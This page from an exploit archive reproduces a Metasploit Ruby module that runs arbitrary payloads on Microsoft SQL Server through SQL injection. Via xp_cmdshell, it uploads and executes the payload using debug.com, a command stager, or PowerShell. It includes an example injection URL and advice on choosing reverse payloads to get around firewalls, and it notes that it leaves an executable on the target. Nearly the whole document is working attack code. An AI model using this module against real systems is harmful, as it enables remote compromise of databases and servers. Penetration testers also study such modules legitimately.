Microsoft SQL Server – Payload Execution (via SQL Injection) (Metasploit)

• Exploit Database
• 9 阅读

• 作者： Metasploit
  日期： 2011-02-08
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16394/

• ##
  # $Id: mssql_payload_sqli.rb 11730 2011-02-08 23:31:44Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::MSSQL_SQLI
  	include Msf::Exploit::CmdStagerVBS
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft SQL Server Payload Execution via SQL injection',
  			'Description'=> %q{
  					This module will execute an arbitrary payload on a Microsoft SQL
  				Server, using a SQL injection vulnerability.
  
  				Once a vulnerability is identified this module
  				will use xp_cmdshell to upload and execute Metasploit payloads.
  				It is necessary to specify the exact point where the SQL injection
  				vulnerability happens. For example, given the following injection:
  
  				http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical
  
  				you would need to set the following path:
  				set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar
  
  				In regard to the payload, unless there is a closed port in the web server,
  				you dont want to use any "bind" payload, specially on port 80, as you will
  				stop reaching the vulnerable web server host. You want a "reverse" payload, probably to
  				your port 80 or to any other outbound port allowed on the firewall.
  				For privileged ports execute Metasploit msfconsole as root.
  
  				Currently, three delivery methods are supported.
  
  				First, the original method uses Windows 'debug.com'. File size restrictions are
  				avoidied by incorporating the debug bypass method presented by SecureStat at
  				Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.
  
  				A second method takes advantage of the Command Stager subsystem. This allows using
  				various techniques, such as using a TFTP server, to send the executable. By default
  				the Command Stager uses 'wcsript.exe' to generate the executable on the target.
  
  				Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
  				payload on the target.
  
  				NOTE: This module will leave a payload executable on the target system when the
  				attack is finished.
  
  			},
  			'Author' =>
  				[
  					'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',# original module, debug.exe method, powershell method
  					'jduck',# command stager mods
  					'Rodrigo Marcos' # SQL injection mods
  				],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 11730 $',
  			'References' =>
  				[
  					# 'sa' password in logs
  					[ 'CVE', '2000-0402' ],
  					[ 'OSVDB', '557' ],
  					[ 'BID', '1281' ],
  
  					# blank default 'sa' password
  					[ 'CVE', '2000-1209' ],
  					[ 'OSVDB', '15757' ],
  					[ 'BID', '4797' ],
  
  					# code and comments
  					[ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]
  
  				],
  			'Platform' => 'win',
  			'Payload'=>
  				{
  					'BadChars' 	=> "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
  				},
  			'Targets'=>
  				[
  					[ 'Automatic', { } ],
  				],
  			'DefaultTarget'=> 0,
  			'DisclosureDate' => 'May 30 2000'
  			))
  		register_options(
  			[
  				OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
  				OptString.new('DELIVERY', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'old' ])
  			])
  	end
  
  	# This is method required for the CmdStager to work...
  	def execute_command(cmd, opts)
  		mssql_xpcmdshell(cmd, datastore['VERBOSE'])
  	end
  
  	def exploit
  
  		method = datastore['DELIVERY'].downcase
  
  		if (method =~ /^cmd/)
  			execute_cmdstager({ :linemax => 1500, :nodelete => true })
  			#execute_cmdstager({ :linemax => 1500 })
  		else
  			# Generate the EXE, this is the same no matter what delivery mechanism we use
  			exe = generate_payload_exe
  
  			# Use powershell method for payload delivery if specified
  			if (method =~ /^ps/) or (method =~ /^power/)
  				powershell_upload_exec(exe)
  			else
  				# Otherwise, fall back to the old way..
  				mssql_upload_exec(exe, datastore['VERBOSE'])
  			end
  		end
  		print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")
  		select(nil,nil,nil,50)
  		handler
  		disconnect
  	end
  
  
  end